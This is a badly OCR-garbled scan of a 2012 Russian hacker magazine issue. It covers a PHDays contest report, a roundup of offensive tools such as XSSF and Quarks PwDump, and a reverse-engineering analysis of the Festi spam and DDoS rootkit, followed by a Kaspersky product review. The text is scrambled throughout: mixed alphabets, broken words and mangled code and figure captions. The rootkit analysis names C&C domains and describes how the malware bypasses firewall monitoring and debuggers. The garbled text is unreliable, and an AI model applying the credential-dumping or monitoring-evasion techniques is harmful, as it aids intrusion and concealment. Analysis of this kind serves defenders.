лись к идее объединить под одной крышей <пиджаки> и <футболки>. Не уверены по поводу первых, но то, что люди, занимающиеся практической безопасностью, получили массу фана, много-много общения, классные доклады и непередаваемую атмосферу хакерTechnologies и лично ской конфы, - нет сомнений. И за это, Positive все люди, которые принимали участие в организации, вам большой респект|

t

хлкЕр

09

l1b4l 2012


PHDays

20'12: как это было?

KOHKyPcbl НАЛИВАЙКА NG

Что может помешать умелому пентестеру провести успешную атаку на ве6-приложение, пускай даже защищенное фильтром

безопасности? 0днако

в этом конкурсе есть нюанс. Каждые пять минут участникам, на действия которых чаще всего реагировал WAF, предлагалось выпить 50 мл крепког0 алкоголя. А если конкурс никак не удается начать (как оказалось. из-за глюкавого свитчаl, алкоголь ждет, а зрители вокруг кричат:

"Наливай-ка|", Прокачанное умение трезво мыслить в любой ситуации показал Володя Воронцов, кстати, разработчик своей продвинутой WАF'ки.

сьlгрАть в ящик

В конкурсе под названием (Сыграть в ящик> участникам нужно было вскрыть два сейфа с RFlD-замками, работающими на разных частотах, для чего нужно было изготовить дубликат карты. flля работы с низкочастотной (125 кГц) использовался USВ-ридер ACR122U (bit, уlЦ!Д-Ц2U), дубликатор КеуМаstег PR0 4 RF [bit, lЦеу|,]"al"a'] и метки на базе чипа Т5557 lc t, y/t5557l. Высокочастотная метка (13,56 МГцl представляла собой карту Мifаге Classic ] К, а дубликат изготавливался с помоцью китайского перезаписываемого аналога. Кстати, устройство, которое здесь можно было использовать. мы рассматривали в прошлом номере в статье чемоданчик".

"Хакерский

0хOтА нА

лис

NG

GRAND ТНЕFТ DRONE

Известная еще в советские времена забава в новом формате. Если в классической "0хоте на лис> участнику нужно было найти пять радиопередатчиков в лесу, то участникам PHDays нужно было обнаружить постоянно перемещаюцийся по территории конференции объект (это был человек с активной Wi-Fi точкой доступа, запущенной на Апdrоid-смартфоне). В результате по территории Digital 0сtоЬег бегало немало людей, в том числе симпатичных девушек, которые в одной руке держали налравленную антенну, а в другой нетбук с запущенным Kismet'oM, чтобы отследить

расстояние

Участникам предлагалось менее чем за полчаса захватить 0дин из двух квадрокOптеров АR.Dгопе, управление которым осуществляется со смартфона через Wi-Fi. Если ты уже представил, как перехватывал трафик и пытался отреверсито протокол взаимодействия, спешу огорчить; есть куда менее хардкорный путь, Подключившись к внутренней точке доступа девайса. легко обнаруживаещь не закрытый паролем Telnet, Получив доступ к 0С устройства, через iptables можно было сделать геjесt того устройства, которое осуществляло управление, и подключиться к дрOну со своего телефона в качестве пилOта.

до <<лисыr).

зА элЕктричЕскOЙ 0вцOЙ

tr,lассовые утечки паролей остаются самой популярной темой в инфобезопасности за последнее время, и 0рганизаторы кOнкурса решили дать наглядную картину различных крипто-

алгоритмов в конкурсе Hash Ruппеп Участникам было предложенр 657З различных хеша для взлома. ПРи подсчете очков учитывалось как количество взломанных хешей. так и их сложность. Первое место заняла команда Теагdгор. отобранная из состава Hashcat {разработчики одноименного семейства инструментов], причем один из участников lХапdгеll решил участвOвать в кOнкурсе самолично и умудрился занять третье место. В пересчете на баллы призеры решили 1']% всех задач, 0тметим, что нетронутыми остались хеши DES, рhрЬЬЗ, ssha и WогdРгеss. Самым часто взламываемым оказался алгоритм LAN Мапаgеr ,

io*aa ояz,uоlrо,,


взл0l,|

Дмитрtrй (D1 g1> Евдокиtов, Digital security ltWitter,com/evdokimovd5)

п

соФтдля взл0},|А Е]ф:sщ

tE]i!i]

--,.-,

,:.rgj

. .

редактирование РЕ-секций; редактирOвание кOда; правка lAT и 0ЕР; поддержка х86 и х64;

о

полная пOддержка юникOда; пOддержка плагинов {включая плагины от lmpRec, что особенно ценно]; отлично работаетнаwiпdоws7.

. .

Программа распространяется с открытыми исходными кодами. В качестве дизассемблера используется проект diStorm. 0брати внимание, что Windows ХР х64 имеет некоторые баги в APl, Tak что под этой 0С полностью восстановить на 1000/о правильную таблицу импорта невозможно. Разработчик вообще всячески рекомендует использовать в качестве рабочей системы Windows х64, пбд которой работает са м.

о8о

Авторы: Jеап-Рiегrе LESUEUR

Автор: Ludovic СочгgпаUd URL: code.google.com/p/ xs5f

(DarkCodeгScl URL: WWW.daгkcomet-гat, cOm/mi5ctools.dc

система:

систена;

WindoWs/LinuX

WindoWs

i.*..j

-

.

АнАлизА БЕзOпАснOсти

ABTopi NtQUегу uRL; github,cOm/NtOUeгy/ Scy la cxcTeMal

Scylla lmports ReconstгUction это утилита для восстановления таблицы импортов дампов. Инструмент из новых, но уже успел завоевать популярность. Как пишет сам автор, во всех прOграммах для вOсстанOвления импорта {lmpRec, CHimpREC, lmрогts Fiхеr и так далееl есть недостатки, и он решил сделать свой инструмент, в котором их не будет. Oсобенности: встроенный дампер;

. .

и

F

The Сгоss-Sitе Scгipting Егаmеwогk инструмент для эксплуатации XSSIXSSF) уязвимостей более легким способом. Проект XSSF призван продемонстрировать реальную опасность ХSS-уязвимостей, упрощая их эксlлуатацию до простого выбора модулей атак. XSSF позволяет создать канал связи с целевым браузером [от ХSS-уязвимостиl для выполнения дальнейших действий. Программа реализована в виде модуля для Metasploit и тесн0 интегрирована с ним, н0 пOмим0 этOг0 она имеет и собственный веб-интерфейс, где отображается информация о проэксплуатированных целях:

-

.

lР-адрес;

.

название браузера; версия браузера; наличие cookie.

. .

Благодаря интеграции с Metasploit Fгаmеwогk возможно легко запускать браузерные эксплойты из его состава через XSSуязвимости. Также благодаря создаваемому XSSF Тuппеl возможно действовать от сессии жертвы.,Щля запуска модуля необходима ко ма

нда:

load xssf

прOстOи и 0чень мощный инструмент для извлечения информации о действиях пользователя из таких браузеров, как lпtеrпеt Ехрlоrег, Google Сhгоmе, Mozilla Fiгеfох, RockMelt, Comodo Dга9оп и 0рега, всего за несколько секунд. Сначала создается набор ключевых слов, по которым происходит поиск в истории браузера. Когда инструмент нахOдит упOминание ключевOг0 слова, он отображает URL и заголовок окна.

. .

0собен ности:

.

. . .

быстрое сканирование большинства известных браузеров; мультипоточность;

управлениепрофилямиключевыхслов,

позволяющими сохранить фильтры; сканирование архивов с историей; импорт/экспортрезультатоввСSV-формат; статистика по использованию браузеров в системе.

Программа полностью асинхронна, так что никак не влияет на работу пользователя с браузером в процессе сканирования. 0фициальный сайт утилиты постоянно лежит, но ее легко найти на многочисленных зеркалах. Интересно, что разработчиком утилиты является создатель небезызвестной прOграммы длы скрытнOг0 удаленнOг0 управления DагkСоmеt RAT Tool.

хдкЕр

09 l1bl+l 2012


7 утилит для исследования безопасности

Автор: Аг5hап Dabirsiaghi URL: 1 !]i]i !ai i] :1 1

11,:,11

:,

систеиаi

:llllл1:

Windows/LinUx

ШПИOНИМ ЗА ПРOГРАММАМИ НА JAVA

JavaSnoop - программа, предназначенная для анализа Javaприложений. Программа впервые была представлена на конференции Black Hat 2010 компанией Aspect Sесuгitу. Программа производит статическую, динамическую инструментацию Jача-приложения с целью анализа/модификации работы программы при начале ее работы или после присоединения к уже запущенноЙ лрогра1,4ме, при этом не требуется исходных кодов. ВзаимодеЙствие с Jad позволяет сразу смOтреть декомпилированный код приложения. Утилита позвOляет реализOвать нескOльк0 пOлезных техник. в том числе: . qерехватлюбых рlетодов в виртуальной Nлашине;

. изменениепараметрOвивозвращаемыхзначений;

.

внедрение произвольного кода влюбой метод;

.

прOсмOтрещенесериализOванныхданных.

перехвата методов имеет гибкий фильтр и просмотрщик классов и методов приложения. У программы приятный и понятный GUl-интерфейс, результаты работы можно выводить как в кOнсOль прилOжения, так и в отдельный файл для дальнейшего анализа. ,Д,ля

А8тор: Deesse Ка URLI

Автор: сhгi5t ап Mainka URL:

система:

система:

L]i

l ,

Автор: AnonymOu5 URL: ]

Windows/Linlx

1 ИЗВЛЕЧЬ АУТЕНТИФИ КАЦИOННЫЕ

дАнныЕ из WlNDOWS

Quагks PwDump новый инструмент с 0ткрытым кодом для сбора различных типов учетных даннь х из операционной системы Windows. На текущий момент программа позвOляет извлекать следующие типы аутентификационных данных:

-

. . .

.

NТ/LIrУ-хеши локальных

пользователей + историю; NТ/LМ-хеши доменных пользоват€лей + историю из NTDS,dit; кешированныедOменныеучетныеданные;

ВitLосkеr-информацию, хранимую в NTDS.dit.

Это rервый ичструмент, который сOчетает в себе уже известные техники и техники

извлечения данных из ВitLосkег. Программа поддерживает для обработки форматы от ]оhп the Riррег и LOрhtСrасk, Также присутствует пOддержка всех новых 0С из семейства Windows: хР l20аЗlVislаl1 12008/8. На текущий мOмент програл,4ма действует только с рабочей 0С, но обещаrЬт и поддержку извлечения аутентификационных данных офлайн с образов дисков. 0брати внимание, что для работы утилиты обязательны права администратора в целевой системе. Иначе у н-ее ничего не в ы

йдет.

хдкЕр

09 /1ь/,/ 2012

I

h g

прOвЕряЕм вЕБ-сЕрвисы нА стOЙкOсть

WS-Attacke,

цодульнь й фреймворк, написанный на Java, для проведения тестов на проникновение через веб-сервисы. Программа на вход запрашивает путь до WSDL (Web Services Description Language) и извлекает из него всю полезную информацию для тестирOвания: метOды с параметрами и так далее. Фреймворк является расширяемым с пOмOщью плагинOв и в cBOeN1 сOставе по умOлчанию имеет три плагина, реализующих следующие атаки: S;gnatUre Wrаррiпg; SOAPAction Spoofing;

. . .

-

WS-AddressingSpoofiпg.

По результатам работы плагинов программа сама отображает, какие методы и каким

атакам подвержены. Помимо этог0 программа также способна в удобном виде отображать характеристики: интерфейсов;

.

. метOдOв; . запрOсов,

Программа позволяет авто|.1атически и вручную lc нелегитимными данными] формировать запросы к веб-сервисам и просматривать 0тветы.

Q , (?|::

систеиа: Linux

6 0с для нАстOящих ANONYMOUS

Tails [The Дmпеsiс lncognito Live System]- это Live DVD или Live USB операционная система, нацеленная на сохранение конфиденциальнOсти и анOнимнOсти свOег0 пOльзOвателя в сети Интернет независимо от того, где он нахOдится и за чьим кOмпьютерOм сидит. Никаких следов не останется, если вы не захотите обратного явно. Система базируется на DеЬiап GNU / Linux. Tails распространяется с нескOлькими встрOенными и заранее сконфигурированными в соответствии с требованиями безопасности приложениями: веб-браузером, клиентом мгновенных сообщений, почтовым клиентOл.4, офисным пакетом, редактором изображения и звуков и так далее. В первую очередь при своей работе Tails опирается на анонимную сеть Тог: все программное обеспечение настроено на подключение через Тоr, и прямые lHe анонимные] соединения блокируются, Ta,ls при своей работе абсолютно не использует жесткиЙ вся диск компьютера. на котором работает, обработка данных происходит только в оперативной памяти, которая очищается после выключения кOмпьютера. Также система использует большое количество криптографических тулз, среди которых LUKS, HTTPS Ечегуwhеге, 0penPGP, 0TR и Nautilus Wipe.

-


РАскАпЬIВАЕ1.{ ВНУТРЕННОСТИ НЕ ЗРЯ РУТКИТА,

прOзвАннOго

((кOРOлЕ},| спА},lА>)

ьlи \./

Руткит из семейства Festi заинтересовал нас п0 многим причинам, н0 главные из них две. Во-первых, по сей день это один из самых активных спам-ботов, а во-вторых - этот ботнет часто используется для DDoS-aTaK. К тому же это довольно нетипичный экземпляр вредоносного П0, авторы которого подошли очень серьезно к процессу его разработки

емейство руткитов Festi известно с 2009 года и в первую 0чередь прославилOсь массOвыми рассылками спама и целенаправленными DDоS-атаками {рис,1], В начале текущего года прошло серьезное обновление ботнета и миграция на новые командные серверы lрис. 2). Именно это обновление и привлекл0 наше внимание слишкOм мнOгOе пOменялOсь. Во-первых, изменился протокол взаимодействия с командны[4 центром: если раньше это был НТТР с зашифрованным POST ответом, то сейчас это специально разработанный протокол с возможностью обхода различных защитных средств, анализирующих сетевой трафик. Во-вторых, все задания для ботов загружаются только в па1,4ять зараженной машины, и что наиболее интересно загружаются они б адресное пространство на уровне ядра операционной системы.

-

lБйrftIllr!]lilтill

flроппер необходим только для установки основного функционала в виде драйвера, который осуществляет всю основную активность, На рис. З представлен граф вызова функций после выполнения точки входа этого драйвера. 0сновной задачей этого модуля является взаимодействие с коМаНДНЫМ ЦеНТРОМ / УСТаНОВКа ДОПOЛFИТ€ЛоFЫХ

МОЛУЛеЙ,

-

Нами было замечено два основных дополнительных модуля для рассылки спама и для 0существления DDoS-aTaK соответственно. Свою работу бот начинает с обращения на командный центр и пOлучения актуальнOг0 задания, пOсле чег0 скачивается соответствующий плагин. Все расширения активируются непOсредственн0 из памяти и не сOхраняются на диске, чт0 существенно затрудняет процесс криминалистической экспертизы, так как пOсле выключения кOмпьютера вOсстанOвить цели и задачи конкретного бота практически невозможно. Еще одной интересной особенностью этого бота является то, что он написан на С++ с использованием 00П. Подобные вещи нечасто можно встретить при разработке модулей режима ядра. Oсновные его компоненты [классы}: менеджер памяти; собственная реализация сокетов; парсер протокола взаимодействия с С&с; . менеджер плагинOв.

. . .

Схема взаимодействия между ними изображена на рис.4. За счет разработанного урOвня абстракции основное ядро Festi может быть легко портировано под другие операционные системы, в том числе отличные от lr4s windows.

хдкЕр

о9 l1bl\l 2а12


Festi: злобный и бестелесный

*createModUle{PVOlD

PLUGlN_lNTERFдcE VOlD DeleteModuleIl.

l l

з4.9ýd

EI

Ё.?sý

GHEG a THER SФURcES tr

2, 1_ч

LETHIc

GRUful

1?.zgi

Полный цикл загрузки плагина можно увидеть на рис.

FЕ:iтl tr 12.99ь DФNвот l в.99.ь

сUтц!дIL 1 aUTlr,lA'IL

{

Driчегlпtегfасеs)

8,

В Festi реализован собственный защищенный от перехвата протокол. Ботнет использует клиент-серверную топологию с несколькими

Е 4,зчi.

командными центрами. Например, один отвечает за раздачу заданий на рассылку спама, а другой только за проведение DDoS-aTaK. Сетевой протокол работает в нескольких фазах:

1э.t-l_сý

Рис. 1. По статистике М86 security Lab5, ботн ет Festi э а н и шает п очетное третье место

.

инициализация-получениеlР-адресовактивных

.

активация-получениетекущегOзадания

командных центрOв;

из команднOго центра.

Наибольший интерес представляют сами плагины, так как именно при пOмOщи них выпOлняются задания, полученные от командного центра. Система плагинов реализована по принципу массива указателей на специальн0 0пределенные структуры. Структура описывает плагин и протокол обмена данными с ниtl. Восстановленный в процессе обратного анализа вариант структуры выглядит следующим образом:

StгUct PLUGIN_INTERFAcE {

// Initialize plugin PVOID Initlalize; // ReleaSe plu8in, регfогm cleanup ореrаtiопs

Ачtчmп 2011

PVOID Release,;

пvilл.ьаL.,,

valdispjt,гU

PVOID GetveгSionInfo_].;

// Get plu8in vension infonmation

// Wnite

p],Ugin Specific lпfогmаtiоп

РvOID WniteIntoTcpstгeam;

//

Read

into tcp

plugin specific information fгоm tcp

,// and раrsе data PVoID RеаdFгоmТсрstrеаm; // RеsегVеd fieldS

Ве9iппiп9 20'l2

с&с mioration

ч,JtUгl.rU

// Get plugin чеrsiоп iпfогmаtiоп PVOID Getveг5ionInfo_2,;

В первой фазе осуществляется запрос на заранее указанные DNS-серверы с целью получения lР-адресов для указанных доменOв, кOтOрые хранятся в качестве констант в теле самого бота. В фазе активации происходит взаимодействие по протоколу ТСР, пOлучается текущее задание и плагин. ПротокоЛ для второЙ фазы состоит из заголовка сообщения и непосредственно буфера с самим плагином. В буфере содержатся данные с тег-ориентированным протоколом lчем-то похож на XML), раздел данных, содержащий непосредственно плагин, зашифрован следующим алгOритмOм:

Stneam

ё

7

пUdчсk,гU l]7з.2]2_248,51l --],,_,,_,,и,"rlrл,л.,i геqhоsliп,гU 1178,162,]?9.47l ho5tikareg,гU l178,162,179.47)

Рис.2. 1,1играция руткита на новые командные серверы

st гtеаm

PVOID ReseгVed_1; PVOID RеSегVеd_2;

Когда бот передаетданные в командный центр, выполняется о6работка плагинов и активируется функция WгitеlпtоТсрStгеаmll для каждOг0 зарегистрированного плагина. При получении данных с сервера выполняется другая функция RеаdFгоmТсрStгеаmlJ. Структура данных, передаваемых по сети, представлена на рис. 7. Взаимодействие с плагинами обеспечивает менеджер плагинов, который загружает соответствующий плагин и отвечает за его

-

корректное выполнение. Каждый плагин содержит две экспортируемые Фчнкции:

Рис. З. Граф вызова функций после выполнения точки входа

руткит FEsTl дOвOльн0 нЕтипичныЙ rкзЕ},lпляр

W]пз2lFеst]

с&с Ргоtосоl Раsг5ег

врЕдOносного по. АвтOры очЕнь сЕрьЕзн0 подOшли

К ПРOЦЕССУ ЕГ0 РАЗРАБОТКИ

хАкЕр

09 /164/ 20]2

Рх(. 4. Взаимодействие между компонентаии

руткита


lt{ALYlrARE

Аrгау of роiпtег5 to plUqins

Wlпз2/Fеsti Drорреr

Рlч9iп

Plugin'|

"-)

mоdеdгчег

Рlчqiп 2

Рlчqiп2

5tгUct

PLUGlN lNTERFAcE

Рlчgiп 3 tгчсt PLUGlN_lNTERFACE

РlчgiпЗ

}

1

5tг!сt PLUGlN lNTERFACE

*lllillxx,: DOWnlOad р Ugin5

Рис. 6, Реализация

Wiп32/Fе9t| Рlчgiп t

win32/Festl Рlчgiп2

си(теtы плагхнов

wln32/Festl Рlцg|п N

Рис. 5. Руткит начал работу!

Рис.

key = (0х17, oxFB, 0x7lJOXSс)

Подобный мониторинг можно реализовать двумя способами:

.

def decn_data(data):

fог ix in хгапgе(lеп(dаtа)): dataIlx] "= keyIix

%

7.

0дна из интересных особенностей testi обход защитных средств, установленных на зараженном компьютере. Festi

встраивается урOвнем ниже, чем эт0 реализуется в стандартных драЙверах NDlS, которые работают на канальном уровне. !ля 0тправки или приема сетевых пакетов открываются непOсредственно устройства \Device\Tcp или \Device\Udp в зависимости от типа протокола. В большинстве персональных межсетевых экранов или HlPS реализовано наблюдение через перехват запросов lRP_MJ_CREATE_tlLE, которые направляются транспортному драйверу открытого устройства. Этот способ позволяет также установить процесс, от которого было инициировано сетевое

взаимодействие.

по сети

данных

установитьхукнаZwСгеаtеFilедля

.

а]

Структура передаваемых

мониторингавсехпопыток

открытия устройства;

непосредстsенноаттач Ha\Device\Tcp или\Dечiсе\Udрдля перехвата всех l RР-запросов.

Festi для обхода подобного мониторинга собственными силами реализует функцию ZwСгеаtеFilеll, практически дублируя ее [схему реализации функции ZwСrеаtеFilе{} см. на рис.9l. Из представленной схемы видно, что Festi создает объект связи с устройством и напрямую посылает запросы lRP N4J,CREATE транспортному драйверу. Таким образом, все защитное П0, отслеживающее устройства \Device\Tcp или \Device\Udp. пропустит запросы от бота. flля прямого взаимодействия с устройствами \Device\Tcp или \Device\Udp вредоносной программе нужны указатели к соответствующим объектам устройств [device objects), ,Щля получения указателя на Tcpip,sys на объект драйвера можно испOльзOвать:

ExecUte 0ЬСrеаtеOЬjесl to сгеаtе file object

зАlцитА FESTI

Мар plugin imaвe into 5y5tem address 5расе lnitialize 5ecurity attribute5 ol cгeated file obiect

Execute 0blnsertObject to insert сгеаtеd file object into FlLE 0BJECT type list

Get exported rочtiпеs: credteModule & Deletevodule

Festi периодически прOверяет наличие отладчика при пOмощи вызова функции KdDebug9егЕпаЬlеdll, а также умеет сн и l,,laтb аппаратные тOч ки останова, устанавливая в них нулевое значение.

Сгеаtе lRP геqUеst W]th Ma]orFUnction code set to lRP MJ CREATE

Get pluвin.lD & version info Send created RP reqUe5t directly to tcpip.sys driVеr

Рис.

9.

Зловредная реализация функции zwcreateFilel)

хАкЕр

09/164/2012


Festi: злобный и бестелесный

Бl

+l_

lry l

Attached device #N

l

o,o.n"o

ll

li t-

г;l

1ч:_]

ltчll Г

п;;

l

l l

Т.ерrуrl

аечlсряl

l

Рис. 1З, Принер конструктора класса csocket

Г NTSTATUS

0bReferenceObjectByName

tlБ*,*t

disnatch

IN IN IN IN IN IN

\Devrce\uap

|

(

IN PUNIсoDE_STRING objectNameJ

I

ULoNG

Attгibutes,

PAccESS_STATE Accessstate oPTIONAL, AссESS_MASK DesiredAccess oPTIONAL, POBJEсT_TYPE objectтype,

KPROсESSOR_MODE AccesSмode, oUT PVOID РагSеСопtехt oPTIoNAL, oUT РVOID +object

Рхс. 10. Изящный обхOд следящего П0

); Это недокументированная системная функция, получаюцая в качестве 0дног0 из параметров юникод-строку с именем устройства. Festi осуществляет итерацию по всему списку устройств, чтобы найти нужное соответствие. Восстановленный код этой про цедуры представлен на рис. 1 1,

Анализ несколько затруднило присутствие 00П-кода, так как современные инструменты обратного анализа и даже lDA не умеют эффективно его восстанавливать, К примеру, восстановление графа потока управления в С++ усложняется полиморфизмом на уровне виртуальных функций, что показано на рис. 12. Сложность заключается в точном получении адреса процедуры, которая будет вызвана. Статический анализ не дает информации о том, куда будет указывать регистр ЕАХ. !ля того чтобы получить адрес, нужно выяснить, где создается объект указанного типа, а эт0 прOисхOдит непOсредственн0 в процессе выполнения, и именно тогда инициализируется указатель на таблицу виртуальных метOдOв. На рис. lЗ приведен пример конструктора класса CSocket, реализованного в Festi. Видно, что происходит непрозрачный вызов и инициализация указателя CSocket::vTable на таблицу виртуальных метOд0 в.

Рис.

Рис.

11.

12.

Процедура, обрабатываюцая список ТСР-

ПолхtrорфхзЁ

хАкЕр 09/]61,/20]2

на уровне

l

UDР-устройств

вхртуальных функций

Руткит Festi довольно нетипичный экземпляр вредоносного П0, авторы которого подошли очень серьезно к процессу его разработки. 0ни предусмотрели множество нюансов, которые обеспечивают незаметное присутствие этого бота в системе длительное время и затрудняют обратный анализ. К примеру,

на мOмент извлечения экземплярOв вредOнOсных плагинов из памяти зараженной системы ни один антивирусный продукт их не обнаруживал. Проблемы с полным анализом сложного вредоносного ПО возникают довольно часто, но лишь полный анализ может собрать весь пазл целиком и найти эффективные способы противодействия таким угрOзам. fE


1.{ALYlrARE

Александр Лозовский

lnternet 5есчritу НOВАЯ ВЕРСИЯ 0БзOР свE)кЕи вЕРсии ((кАспЕРскOг0)> Меньше месяца прошло с момента выхода на прилавки и в интернеты новой версии Каспера IKAV и KlS). По этому поводу можно было бы не напрягаться, если бы не некоторые нововведения, которые нам показались интересными, в связи с чем мы и решили намутить этот небольшой обзорчик.

БЕЗOПАСНЫЕ ПЛАТЕХИ Самое интересное нововведение. Раньше пользователю нужно было самостоятельно включать режим безопасного браузера и вызывать экранную клавиатуру, что было слишком сложно для среднего пользователя. Скажите спасибо, что он вообще поставил антивирусl Спасибо, gеперь он будет делать это (и кое-что еще) самостоятельно. Специальная систеN4а теперь будет распознавать обрацение на сайт банка, проверять, не фишинговый ли этот сайт, сверять сертификаты и одновременно проверять систему [твою системуl на наличие

критическихуязвимостей.

Разумеется, по-

пытки других устанOвленных на кOмпьютере

программ поинтересоваться информацией, с которой ты работаешь во включенном режиме <6езопасных платежейrr, будут пресекаться. Комментарий I[: Реально полезная фича. Пользоваться,Д,Б0 становится геморройнее с каждым гOдOм, и ничег0 с этим не пOделаешь безопасность и удобство всегда лежали на разных чашах весов. Хорошо, что хотя бы часть этой безопасности будет автоматизирована. С многофакторной авторизацией, надеюсь, ты сам справишься, хотя и с ней в случае чего могут найтись помоtцники ;|.

-

зАlцит^ ввOдА с клАвиАтуры

Виртуальная, защищенная от перехвата клавиатура, клавиши на кOтOрOи над0 нажимать мышкой, была и в прошлой версии. В новой версии добавили заlлиту ввода с аппаратной клави.атуры - 0на активизируется автOматически, когда ты обращаешься на сайт банка.

Е

азftriJilзирOвАннАя

БорьБА

Продукция Adobe, старые lпtегпеt Ехрlогег'ы и Java давно и прочно зарекомендовали себя

самыми настOящими 0кнами, в кOтOрые зл0достатOчн0 лишь пOстучаться,

умышленнику

-

ка к следует долбануть по н и м exploit pack'oM. Новая версия Каспера отвечает эксплойтам симметрично-добавив всвой продукт отдельную функцию защиты от эксплойтов, которая контролирует работу потенциально дырявых программ (ну, тех самыхl, проверяет, нетли в ихдействиях признаков экстремизма, и свOевременн0 запрещает то, что делать не пOлагается, - например, перехOд п0 пOдOзрительным ссылкам или попытки записи в чужой прOцесс. а точ нее

Комментарий I[: Есть одна маленькая проблема. Вирмэйкеры имеют доступ к тем же версиям iпtеrпеt sесuгitу, что и обычные пользователи. 0ни используют этот факт в своей работе. Поэтому стопроцентную уверенность в том, что новый KlS защитит тебя от любой неизвестной угрозы, испытывать не приходится. O6новлять П0, быть хорошим мальчиком и шариться по совсем злостному iпаррrоргiаtе content'y из-под виртуальной машины с линуксом или макосью (зато красивоll все равно имеет смысл. ПOИСК УЯЗВИИОСТЕЙ

Уследить за всеми потенциально уязвимыми прOграммами вручную не так прOст0 программ мнOг0, а уязвимOсти для них появляются каждый день. Новый Каспер имеетдоступ к базе Secunia *той самой, которая выпускает замечательную Secunia Регsопаl Sоftwаге lпsресtог {PSl) программу, сканирующую установленный на компе софт

-

на уязвимости. Теперь все эти удовольствия

отличная доступны из KlS. Серьезно, Secunia бесплатная прога с хорошей базой, Если у тебя нет денег на Каспера, поставь хотя бы ее вместе с каким-нибудь халявным антивирусом из наших обзоров.

-

хАкЕр 09/]64120]2


Каsрегskу lпtегпеt Secuгity: новая версия

q-

кАtрЕRrкYЁ

3ащпта

в

*

1,1

облакэ

отчеты

HacTpoljKa

Бвоmонче шатфх

Д86ашь

ТАКЖЕ НА АРЕНЕ ||иск аварийного

восстановленпя

Линуксовый загрузочный диск, который стоит испOльэOватьt если твOя система накрылась или залOчилась окончательн0. Автоtиатиэирован он стопроцентно конфиги править не надо, загружается cat{ собой, подхватыsает интернет, качает обновление и сканирует жесткие диски.

восстановление

после зарах(енпя Не секрет, что после лечения активного эаражения нередк0 начинают пOявляться странные глюки и лишние диалOгOвые 0кошки, требующие от тебя какой-нибудь необходимый файл. Модуль восстановления после заражения помогает с этим справиться.

Безопасные платежи Выполняйте Оанковцие операции и оmачи8ай|те покупки в интернет-мавзинц

бра'3ер. ,

|ir]I.

через заlцицевный

_:]:.l]i

пппr,

KlS, а точнее его модуль родительского контроля тоже может поN4очь. Контроль переписки, lМ и социальных сетей? Пожалуйста! 0граничение времени работы в интернете? легко! Только помни, что техническая заэт0 0дна стOрOна защиты, а правильщита ное воспитание совершенно необходимая вторая. !а что тут говорить большинство наших читателей последнее поколение тех, кого некому было зацищать от компьютеров, FТN-сетей и интернетов, Мы сами в детстве от них кого хочешь бы защитили:]. Так что в этOм плане мир в хOрOших руках.

-

Трудно удивить пользователя сигнатурным

сканером. ltlонитор, быстрая проверка, полная проверка все, как и раньше. Разве что работает чуть побыстрее. В Каспер"Лаборатории скOг0> утверждают, чт0 нOвая версия придется ко двору даже на нетбуках, похоже, что так оно и есть, на моем стареньком Asus ЕЕЕ РС 1001РХ с расширенной до 2 Гб RAM втечение двух недель особых тормозов не наблюдается.

-

-

@

3олотые нулевые закончились, и жизни пOдрастающему пOкOлению теперь сOвсем Не СТаЛО. В.жестокиеl> компьютерные игры играть-строго с 14ле1 прон смотретьто ли с 18, то ли вообще с 21... В общем, интернеты бушуют, а общественные деятели настаивают, чт0 над0 держать, запрещать и не пущать. В деле борьбы со школьниками

-

-

-

-

tт!пilla!|tilFr Всякому, кто имеет электронные деньги и хотя бы отдаленно знаком с текущей ситуацией в мире малвари, станOвится 0чевидн0: пOра переходить на пингвина. С другой стороны, линукс сакс и нот фо ворк (славно я

-

[

вбросил, не так ли?:]], и, если даже Андрею <апdгushосk> Матвееву не стыдно за винду на своих ноутбуках, то... в общем, придется пользоваться lпtеrлеt Secuгity. В этом плане новые KlS и КАV-достойные продукты, которые наверняка найдут свое место на наших виндовых машинах. У многих из наших они стоят

на домашних машинах, и особых претензий к ним нет, но вот уже второй год мы не можем от-

делаться от вопроса: где же VPN? Где же, где же в новом KlS секьюрный VPN, который защитит данные пользователя в недружественном Wi-Fi lи не только] окружении? Что делать в незащищенных сетях в McDonald's и прочих публичных местах? Еще одна плохая новость: ввезапно оказалось, что фичи отдельного запуска подозрительной программы в сэндбоксе теперь нет. 0чень странно как же теперь люди с исключительно образовательными целями будут запускать кейгены?

Е

Пфц уяýшrоmй

[lоиq уявимбей в ФФеre и Фронних прФраммах дlffi|Ф&lФюt ? ашшtьлqwотrыtо!

7 !щý*rb

E@l

офшфg.

е МЕълф"@€..rфпф] фмrъдаЬ&с: ,i

F fu,f.оrФФr.т*

{

__ &щlщ!щ

афffi.обвффцqlFыdшоlёt.;

an

Фбмl

ФlФ.

опmоm по.Ф.й

(Бý)

,.

!

9 36фть дýiбOЁ фiфп,.Фl

хлкЕр

09

l1ьцlа012

п@спотфвфtяgяmi,

-

теперь ]ффект от вредоносного ПО мохно откатить

мтФ,4lфmNф@

Ьюч.t.поýпF( пmдк.ф p.xol.W.rc дr п(пр.и.iilr .fuюч.i..Фв(Фдк@ hrоп.W.rФфl в(пр.м.i{. Ф.юм о виюч.i.попф( H.oбr!.r.rba. Фr ýФD..л.пфr , fuфч.п.mшFффншпйлФй Р.(оп.щý.r д, вФЕ.Ф.япr О МhфПhМ фlоЕr очфm кор,D фiхцUЦ Н.о б rr.,.льпо дr и.пр.и.*п r мk.офаhы &Dм dмеФ щоDiЕд.rнц htо(щ!тофr !пр.и.i!r ошючft оmФ оrФФ о мilоюR Iпtм ФЕ. н.обr].r.льно &r вФр.цснпI о мkоdr.lfrФоЕ.rшfrф Мtr9tlпЕмФоr.rФючftмФ kхол.щ.т.rдr кпоамФпr мhфtlпt ml фlоЕl очmпlаоФпЕю H.oбr!lr.!bdo д, пФрд.i.iп

9праца ВФсlаювmь

Мониторинi активно(ти

оф

Поиск уязвимо(тей

в

действии

поryч.пнЕ по-цrцФi.ry об

оФ

фбш

о{щФ сфпrw

шrшм!

пр, !*ршr,

фfuбфЕв

(


1,1ALYlrARE

Александр Эккерт lstannic,managmail,com]

если

сможешь

][-КOНЦЕПТ: CKPЬIBAE},| ФАйЛЬl ПO-НOВOМУ Самое главное умение эт0 умение для руткита скрывать файлы. Именно 0но позволяет ему выживать в мутной воде, под прицелом бдительных хипсов и проактивок. Ведь антивирусу для того, чтобы что-то проверить по своей базе, нужно наличие самого файла как минимум. Нет файла нет руткита. Нет руткита систему можно считать чистой, бодро вывешивая зеленые

-

флажки. Ведь так?

I надискя выкладываю пару прийеров файловых фильтров,

позволяющих

тебе отслехивать работу с файловой системой. готовых примерOв (окрытхя не дам, я жадный :l. в статье описаны 0(нOэные приемы, при должном уtении -ты сам найдещь приейлеиое рещение.

